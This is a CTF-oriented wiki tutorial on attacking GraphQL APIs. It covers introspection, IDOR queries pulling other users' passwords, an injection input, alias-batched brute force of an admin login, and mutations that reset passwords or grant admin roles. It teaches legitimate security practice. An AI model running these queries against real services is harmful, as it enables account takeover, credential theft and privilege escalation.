Athena Wiki

GraphQL Security

webintermediate

Find and exploit GraphQL introspection, injection, and authorization flaws in CTF web challenges.

webgraphqlintrospectioninjectionidorbatchingapi

GraphQL Security

GraphQL is an API query language that lets clients specify exactly what data they need. CTF web challenges using GraphQL typically involve introspection abuse, injection, IDOR via direct field access, or bypassing authentication.


Fingerprinting GraphQL

# Common endpoints
/graphql
/api/graphql
/graphql/v1
/api/v1/graphql
/query

# Check for GraphQL response
curl -s -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}'
# → {"data":{"__typename":"Query"}} means GraphQL!

Step 1: Introspection

Introspection lets you discover the entire schema - all types, queries, and mutations:

# Full introspection query
curl -s -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'

# Or use InQL (Burp extension) or GraphQL Voyager for visualization

InQL (Burp Extension): automatically sends introspection and generates a query template for every type.


Step 2: Finding Sensitive Queries

Look through the schema for interesting queries:

# Look for:
# - queries named: flag, admin, secret, user, token
# - mutations that change roles or passwords
# - types with sensitive fields: password, token, secret

# Example interesting query:
query {
  flag {
    value
  }
}

query {
  user(id: 1) {
    username
    password
    isAdmin
  }
}

Step 3: IDOR via Direct ID Access

GraphQL often exposes objects by ID without proper authorization:

# Access another user's data
query {
  user(id: 1) {
    username
    email
    flag
  }
}

# Enumerate users
query {
  user(id: 2) {
    username
  }
}

Step 4: Authentication Bypass via Introspection

Some implementations don't apply auth to introspection:

# If introspection is allowed but authenticated queries are not,
# you can still see the schema and potentially craft valid queries
# that bypass the auth check

# Try querying without authentication:
query {
  secretQuery {
    flag
  }
}

GraphQL Injection

If user input is interpolated into GraphQL queries:

# Vulnerable: query built by string concatenation
# Input: ") { flag } query IgnoreThis { user(id: "1
# Results in valid but unintended GraphQL

# Test with:
" { __typename }

Batching Attack (Brute Force via Aliases)

GraphQL supports multiple queries in one request using aliases. This bypasses rate limiting:

# Brute force password by sending 100 attempts in one request:
query {
  attempt0: login(username: "admin", password: "password0") {
    token
  }
  attempt1: login(username: "admin", password: "password1") {
    token
  }
  attempt2: login(username: "admin", password: "password2") {
    token
  }
  # ... up to 100+ in one request
}

Mutation Examples

# Change password
mutation {
  changePassword(userId: 1, newPassword: "hacked") {
    success
  }
}

# Promote to admin
mutation {
  updateUser(id: 2, role: ADMIN) {
    id
    role
  }
}

Tools

# GraphQL Voyager (visualize schema)
# Upload your introspection JSON to:
# https://graphql-kit.com/graphql-voyager/

# Altair GraphQL Client (GUI for queries)
# Download from: altair.sirmuel.design

# InQL (Burp Suite extension)
# BApp Store → InQL → installs automatically

# GraphQL map (CLI scanner)
pip3 install graphqlmap
graphqlmap -u http://target.com/graphql --introspection

Checklist

  • Find the GraphQL endpoint: /graphql, /api/graphql
  • Run introspection to get full schema
  • Look for: flag, secret, admin, password, token fields/queries
  • Try IDOR: access objects with different IDs
  • Try mutations: change role, change password, delete
  • Test without authentication (bypass)
  • Batching: brute force in a single request
  • Injection: test string interpolation points
  • Use InQL (Burp) or graphqlmap for automation

Last updated on

On this page